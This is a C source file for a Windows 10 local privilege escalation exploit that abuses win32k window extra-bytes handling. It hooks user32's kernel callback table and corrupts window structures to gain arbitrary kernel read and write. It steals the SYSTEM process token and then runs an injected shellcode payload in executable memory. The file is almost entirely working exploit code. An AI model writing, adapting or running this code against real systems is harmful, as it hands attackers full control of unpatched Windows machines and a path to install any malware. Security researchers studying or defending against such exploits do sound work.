#include <windows.h>
#include <time.h>

#include "common.h"
#include "definitions.h"
#include "exploit.h"

#define ConsoleAcquireDisplayOwnership 6
#define BYPASS_BUILD 19042
typedef NTSTATUS(NTAPI* fxxxClientAllocWindowClassExtraBytes)(PSIZE_T pSize);
typedef NTSTATUS(NTAPI* fxxxClientFreeWindowClassExtraBytes)(PVOID pAddress);
typedef DWORD64 QWORD;

fHMValidateHandle HMValidateHandle = NULL;
fNtCallbackReturn NtCallbackReturn = NULL;
fNtUserMessageCall NtUserMessageCall = NULL;
fNtUserConsoleControl NtUserConsoleControl = NULL;
fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL;
fxxxClientAllocWindowClassExtraBytes g_xxxClientAllocWindowClassExtraBytes = NULL;
fxxxClientFreeWindowClassExtraBytes g_xxxClientFreeWindowClassExtraBytes = NULL;


/* min, max, magic, ... */
HWND g_hWnd[50] = { 0 };
tagWND* g_pWnd[50] = { 0 };
tagMENU* g_pFakeMenu = 0;

DWORD g_dwBuild = 0;
DWORD g_dwRandom = 0;
ULONG_PTR* g_pUser32CallbackTable = NULL;
QWORD g_extra_to_wnd1_offset = 0;
PVOID g_pMinBaseAddress = 0;
SIZE_T g_uRegionSize = 0;


const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL;


ULONG_PTR GetPEB(void) {
	return (ULONG_PTR)__readgsqword(0x60);
}


ULONG_PTR* GetUser32CallbackTable() {
	return *(ULONG_PTR**)((PCHAR)GetPEB() + 0x58);
}


HWND GuessHwnd(PVOID pBaseAddress, SIZE_T uRegionSize) {
	tagWND* pWnd;

	for (PBYTE pCursor = (PBYTE)pBaseAddress; (ULONG_PTR)pCursor + sizeof(tagWND) < (ULONG_PTR)pBaseAddress + uRegionSize; pCursor += 2) {
		pWnd = (tagWND*)pCursor;

		if (pWnd->dwStyle != WS_DISABLED)
			continue;
		if (pWnd->dwExStyle != WS_EX_NOACTIVATE)
			continue;
		if (pWnd->cbWndExtra != g_dwRandom)
			continue;
		return (HWND)pWnd->hWnd;
	}
	return NULL;
}


NTSTATUS Hook_xxxClientAllocWindowClassExtraBytes(PSIZE_T pSize) {
	if ((*(PDWORD)pSize & 0xffffffff) == g_dwRandom) {
		HWND hwndMagic = g_hWnd[2];
		if (hwndMagic == NULL) {
			hwndMagic = GuessHwnd(g_pMinBaseAddress, g_uRegionSize);
			dprintf("hMagicWnd: 0x%016x (guessed)", hwndMagic);
			g_hWnd[2] = hwndMagic;
			g_pWnd[2] = HMValidateHandle(hwndMagic, TYPE_WINDOW);
		}
		if (hwndMagic) {
			// this checks if exploitation is going to proceed or not, if not *don't* corrupt the window because that could trigger a BSOD
			if ((g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) && (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap)) {
				dprintf("Set magicWND->dwExtraFlag |= 0x800");
				ULONG64 ConsoleCtrlInfo[2] = { (ULONG64)hwndMagic, 0 };
				NTSTATUS ret = NtUserConsoleControl(ConsoleAcquireDisplayOwnership, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));

				// Set magicWND->pExtraBytes to fake offset
				dprintf("Return faked pExtraBytes: %llx", g_pWnd[0]->OffsetToDesktopHeap);
				ULONG64 Result[3] = { g_pWnd[0]->OffsetToDesktopHeap, 0, 0 };
				return NtCallbackReturn(&Result, sizeof(Result), 0);
			}
		}
	}
	return g_xxxClientAllocWindowClassExtraBytes(pSize);
}


NTSTATUS Hook_xxxClientFreeWindowClassExtraBytes(tagWND **ppWnd) {
	tagWND* pWnd = *ppWnd;

	// block the free operation on this window for stability
	if (pWnd->hWnd == g_hWnd[2]) {
		return 1;
	}
	return g_xxxClientFreeWindowClassExtraBytes(ppWnd);
}


BOOL SwapHooks(ULONG_PTR fAllocHook, ULONG_PTR fFreeHook) {
	DWORD dwOldProtect;
	ULONG_PTR* ptrAddr = NULL;
	
	VirtualProtect(&g_pUser32CallbackTable[0x7b], sizeof(PVOID) * 2, PAGE_READWRITE, &dwOldProtect);

	ptrAddr = &g_pUser32CallbackTable[0x7b]; /* 0x7b is the index of xxxClientAllocWindowClassExtraBytes */
	g_xxxClientAllocWindowClassExtraBytes = *(fxxxClientAllocWindowClassExtraBytes*)ptrAddr;
	*(ULONG_PTR*)ptrAddr = fAllocHook;

	ptrAddr = &g_pUser32CallbackTable[0x7c]; /* 0x7c is the index of xxxClientFreeWindowClassExtraBytes */
	g_xxxClientFreeWindowClassExtraBytes = *(fxxxClientFreeWindowClassExtraBytes*)ptrAddr;
	*(ULONG_PTR*)ptrAddr = fFreeHook;

	VirtualProtect(&g_pUser32CallbackTable[0x7b], sizeof(PVOID) * 2, dwOldProtect, &dwOldProtect);
	return TRUE;
}
#define InstallHooks() SwapHooks((ULONG_PTR)Hook_xxxClientAllocWindowClassExtraBytes, (ULONG_PTR)Hook_xxxClientFreeWindowClassExtraBytes)
#define UninstallHooks() SwapHooks((ULONG_PTR)g_xxxClientAllocWindowClassExtraBytes, (ULONG_PTR)g_xxxClientFreeWindowClassExtraBytes);


QWORD KernelRead(ULONG_PTR DestAddr) {
	const ULONG_PTR KernelAddressMask = 0xffff800000000000;
	if ((DestAddr & KernelAddressMask) != KernelAddressMask) {
		dprintf("Invalid address: %llx", DestAddr);
		// if the address doesn't look like a kernel mode address then don't read from it
		return 0;
	}

	MENUBARINFO mbi;
	memset(&mbi, 0, sizeof(MENUBARINFO));
	mbi.cbSize = sizeof(MENUBARINFO);

	RECT Rect = { 0 };
	GetWindowRect(g_hWnd[1], &Rect);

	*(PULONG64)g_pFakeMenu->rgItems = DestAddr - 0x40;
	GetMenuBarInfo(g_hWnd[1], OBJID_MENU, 1, &mbi);
	DWORD val[2] = { 0 };
	val[0] = mbi.rcBar.left - Rect.left;
	val[1] = mbi.rcBar.top - Rect.top;
	return *(QWORD*)val;
}


ULONG_PTR KernelWrite(ULONG_PTR DestAddr, ULONG_PTR Data) {
	ULONG_PTR uOriginal = SetWindowLongPtrA(g_hWnd[0], (int)(g_extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes)), DestAddr);
	ULONG_PTR uValue = (ULONG_PTR)SetWindowLongPtrA(g_hWnd[1], 0, Data);
	SetWindowLongPtrA(g_hWnd[0], (int)(g_extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes)), uOriginal);
	return uValue;
}


BOOL ResolveRequirements(void) {
	HMODULE hNtdll = LoadLibrary("ntdll");
	HMODULE hUser32 = LoadLibrary("user32");
	HMODULE hWin32u = LoadLibrary("win32u");
	PBYTE pIsMenu = NULL;
	DWORD dwCursor = 0;

	if ((!hNtdll) || (!hUser32) || (!hWin32u)) {
		return FALSE;
	}

	/* find all of the functions we need */
	if (!(NtCallbackReturn = (fNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn"))) {
		return FALSE;
	}

	if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) {
		return FALSE;
	}

	if (!(NtUserConsoleControl = (fNtUserConsoleControl)GetProcAddress(hWin32u, "NtUserConsoleControl"))) {
		return FALSE;
	}

	if (!(NtUserMessageCall = (fNtUserMessageCall)GetProcAddress(hWin32u, "NtUserMessageCall"))) {
		return FALSE;
	}

	if (!(pIsMenu = (PBYTE)GetProcAddress(hUser32, "IsMenu"))) {
		return FALSE;
	}

	while (*(pIsMenu + dwCursor) != 0xe8) {
		if (dwCursor++ > 0x20) {
			return FALSE;
		}
	}

	HMValidateHandle = (fHMValidateHandle)(pIsMenu + dwCursor + *(PINT)(pIsMenu + dwCursor + 1) + 5);

	/* find the kernel callback table in user32 */
	if (!(g_pUser32CallbackTable = GetUser32CallbackTable())) {
		return FALSE;
	}

	/* get the version to determine the necessary eprocess offsets */
	DWORD dwMajor, dwMinor, dwBuild;
	RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild);
	g_dwBuild = dwBuild = LOWORD(dwBuild);
	dprintf("Windows Version: %u.%u.%u", dwMajor, dwMinor, dwBuild);
	if (!((dwMajor == 10) && (dwMinor == 0))) {
		return FALSE;
	}
	if (dwBuild < 17134) {
		return FALSE;
	}
	/* v1803 - v1809 */
	else if (dwBuild < 18362) {
		g_pEprocessOffsets = &EprocessOffsetsWin10v1803;
	}
	/* v1903 - v1909 */
	else if (dwBuild < 19041) {
		g_pEprocessOffsets = &EprocessOffsetsWin10v1903;
	}
	else if (dwBuild == 19041) {
		g_pEprocessOffsets = &EprocessOffsetsWin10v20H1;
	}
	else if (dwBuild == 19042) {
		g_pEprocessOffsets = &EprocessOffsetsWin10v20H2;
	}
	else if (dwBuild == 19043) {
		g_pEprocessOffsets = &EprocessOffsetsWin10v21H1;
	}
	else if (dwBuild == 19044) {
		g_pEprocessOffsets = &EprocessOffsetsWin10v21H2;
	}
	else {
		return FALSE;
	}

	return TRUE;
}


void UpgradeToken(QWORD qwEprocess) {
	QWORD qwEprocessBak = qwEprocess;
	DWORD dwPidSelf = GetCurrentProcessId();
	QWORD dwSystemToken = 0;
	QWORD dwMyToken = 0;
	QWORD qwMyTokenAddr = 0;

	while (!dwSystemToken || !qwMyTokenAddr) {
		DWORD dwPidRead = KernelRead(qwEprocess + g_pEprocessOffsets->UniqueProcessId) & 0xffffffff;
		if (dwPidRead == 4)
			dwSystemToken = KernelRead(qwEprocess + g_pEprocessOffsets->Token);
		if (dwPidRead == dwPidSelf)
			qwMyTokenAddr = qwEprocess + g_pEprocessOffsets->Token;
		qwEprocess = KernelRead(qwEprocess + g_pEprocessOffsets->ActiveProcessLinks) - g_pEprocessOffsets->ActiveProcessLinks;

		if (qwEprocessBak == qwEprocess)
			break;
	}

	KernelWrite(qwMyTokenAddr, dwSystemToken);
}


void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
	if (!pMsfPayload)
		return;
	PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!pPayload)
		return;
	CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
	CreateThread(NULL, 0, pPayload, NULL, 0, NULL);
}


DWORD Exploit(PVOID pPayload) {
	dprintf("Starting exploit...");

	if (!ResolveRequirements()) {
		dprintf("Failed to resolve requirements");
		return 0;
	}

	srand(time(0) & 0xffffffff);
	g_dwRandom = (rand() % 255 + 0x1234) | 1;
	dprintf("dwRandom: 0x%08x", g_dwRandom);

	WNDCLASSEX wndClass;
	memset(&wndClass, 0, sizeof(WNDCLASSEX));

	wndClass.cbSize = sizeof(WNDCLASSEX);
	wndClass.lpfnWndProc = DefWindowProc;
	wndClass.style = CS_VREDRAW | CS_HREDRAW;
	wndClass.cbWndExtra = 0x20;
	wndClass.hInstance = NULL;
	wndClass.lpszMenuName = NULL;
	wndClass.lpszClassName = "NormalClass";
	RegisterClassEx(&wndClass);

	wndClass.cbWndExtra = g_dwRandom;
	wndClass.lpszClassName = "MagicClass";
	RegisterClassEx(&wndClass);

	QWORD extra_to_wnd1_offset = 0;
	QWORD extra_to_wnd2_offset = 0;
	ULONG64 ConsoleCtrlInfo[2];

	// Create a fake spmenu
	g_pFakeMenu = (tagMENU*)LocalAlloc(LMEM_ZEROINIT, 0x2c8);
	if (!g_pFakeMenu)
		return 0;
	g_pFakeMenu->ref = (PVOID)((ULONG_PTR)g_pFakeMenu + 0xa0);
	*g_pFakeMenu->ref = g_pFakeMenu;
	// cItems = 1
	g_pFakeMenu->obj28 = (ULONG_PTR)g_pFakeMenu + 0xc0;
	*(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2c) = 1;
	// rgItems
	g_pFakeMenu->rgItems = (ULONG_PTR)g_pFakeMenu + 0x2c0;
	// cx / cy must > 0
	g_pFakeMenu->cxMenu = 1;
	g_pFakeMenu->cyMenu = 1;

	if (g_dwBuild < BYPASS_BUILD) {
		InstallHooks();
	}
	for (int j = 0; j < 5; ++j) {
		g_pMinBaseAddress = NULL;

		for (int i = 0; i < 50; ++i) {
			g_hWnd[i] = CreateWindowEx(WS_EX_NOACTIVATE, "NormalClass", NULL, WS_DISABLED, 0, 0, 0, 0, 0, CreateMenu(), NULL, NULL);
			g_pWnd[i] = (tagWND*)HMValidateHandle(g_hWnd[i], TYPE_WINDOW);

			MEMORY_BASIC_INFORMATION MemInfo;
			memset(&MemInfo, 0, sizeof(MemInfo));
			VirtualQuery((LPVOID)g_pWnd[i], &MemInfo, sizeof(MemInfo));
			if ((g_pMinBaseAddress == NULL) || ((ULONG_PTR)g_pMinBaseAddress >= (ULONG_PTR)MemInfo.BaseAddress)) {
				g_pMinBaseAddress = MemInfo.BaseAddress;
				g_uRegionSize = MemInfo.RegionSize;
			}
		}
		for (int i = 2; i < 50; ++i) {
			DestroyWindow(g_hWnd[i]);
			g_hWnd[i] = NULL;
		}

		// Set first window to use kernel desktop heap for extra bytes
		ConsoleCtrlInfo[0] = (ULONG64)g_hWnd[0];
		ConsoleCtrlInfo[1] = 0;
		NTSTATUS status = NtUserConsoleControl(ConsoleAcquireDisplayOwnership, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));

		g_hWnd[2] = CreateWindowEx(WS_EX_NOACTIVATE, "MagicClass", NULL, WS_DISABLED, 0, 0, 0, 0, 0, CreateMenu(), NULL, NULL);
		g_pWnd[2] = (tagWND*)HMValidateHandle(g_hWnd[2], TYPE_WINDOW);
		dprintf("hWnd[0]:   0x%08x 0x%p", g_hWnd[0], g_pWnd[0]);
		dprintf("hWnd[1]:   0x%08x 0x%p", g_hWnd[1], g_pWnd[1]);
		dprintf("hMagicWnd: 0x%08x 0x%p", g_hWnd[2], g_pWnd[2]);

		extra_to_wnd1_offset = 0;
		extra_to_wnd2_offset = 0;
		if (g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) {
			extra_to_wnd1_offset = g_pWnd[1]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes;
		}
		if (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap) {
			extra_to_wnd2_offset = g_pWnd[2]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes;
		}

		Sleep(250); // this small delay seems to improve reliability
		if (!extra_to_wnd1_offset || !extra_to_wnd2_offset) {
			DestroyWindow(g_hWnd[0]);
			DestroyWindow(g_hWnd[1]);
			DestroyWindow(g_hWnd[2]);
			dprintf("Unexpected memory layout, %s %d/5", (j < 4) ? "retrying" : "exiting", j + 1);
			if (j == 4) {
				LocalFree(g_pFakeMenu);
				return 0;
			}
			continue;
		}
		dprintf("Offset of tagWND0->pExtraBytes and tagWND1 = %x", extra_to_wnd1_offset);
		dprintf("Offset of tagWND0->pExtraBytes and tagWND2 = %x", extra_to_wnd2_offset);
		break;
	}
	g_extra_to_wnd1_offset = extra_to_wnd1_offset;
	
	if (g_dwBuild < BYPASS_BUILD) {
		SetWindowLong(g_hWnd[2], offsetof(tagWND, cbWndExtra), 0xffffffff); // Use OOB to set g_pWnd[0]->cbWndExtra = 0xffffffff
	} else {
		InstallHooks();
		// Trigger xxxSwitchWndProc -> xxxValidateClassAndSize to call our usermode callbacks
		NtUserMessageCall(g_hWnd[2], WM_CREATE, 0, 0, 0, 0, 0);

		// Now magic window's pExtraBytes points to tagWND0
		SetWindowLong(g_hWnd[2], offsetof(tagWND, cbWndExtra) + 0x10, 0xffffffff); // Use OOB to set g_pWnd[0]->cbWndExtra = 0xffffffff
	}

	// Set WS_CHILD to set spmenu with GWLP_ID
	DWORD style = g_pWnd[1]->dwStyle;
	SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style | WS_CHILD); // Use OOB to set g_pWnd[1]->dwStyle |= WS_CHILD

	ULONG_PTR pMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (ULONG_PTR)g_pFakeMenu); // Set fake spmenu and leak its kernel address

	// Remove WS_CHILD to use GetMenuBarInfo
	SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style);

	dprintf("pWnd[1]->spmenu = %llx", pMenu);
	if (pMenu) {
		// Token stealing
		ULONG_PTR ptr = KernelRead(pMenu + offsetof(tagMENU, spwndNotify)); // pmenu->spwndNotify (tagWND)
		ptr = KernelRead(ptr + 0x10);                                       // pwnd->pti (THREADINFO)
		ptr = KernelRead(ptr + 0x1a0);                                      // pti->ppi (PROCESSINFO)
		ptr = KernelRead(ptr);                                              // ppi.W32PROCESS.peProcess
		dprintf("Current EPROCESS = %llx", ptr);
		if (ptr) {
			// there is a small possibility that the exploit process up until now has failed and that EProcess is zero
			UpgradeToken(ptr);
			ExecutePayload(pPayload);
			dprintf("The payload has been executed");
		}
	}

	// Fix corrupted tagWND
	PVOID pExtraBytes = LocalAlloc(LMEM_ZEROINIT, g_dwRandom);
	SetWindowLongPtr(g_hWnd[0], (int)(extra_to_wnd2_offset + offsetof(tagWND, pExtraBytes)), (ULONG_PTR)pExtraBytes);
	SetWindowLongPtr(g_hWnd[0], (int)(extra_to_wnd2_offset + offsetof(tagWND, dwExtraFlag)), g_pWnd[2]->dwExtraFlag & ~0x800);

	style = g_pWnd[1]->dwStyle;
	SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style | WS_CHILD);
	SetWindowLongPtr(g_hWnd[1], GWLP_ID, (ULONG_PTR)pMenu); // tagWND1->spmenu = pmenu
	SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style);

	DestroyWindow(g_hWnd[2]);
	DestroyWindow(g_hWnd[1]);
	DestroyWindow(g_hWnd[0]);
	UninstallHooks();

	LocalFree(g_pFakeMenu);
	return 0;
}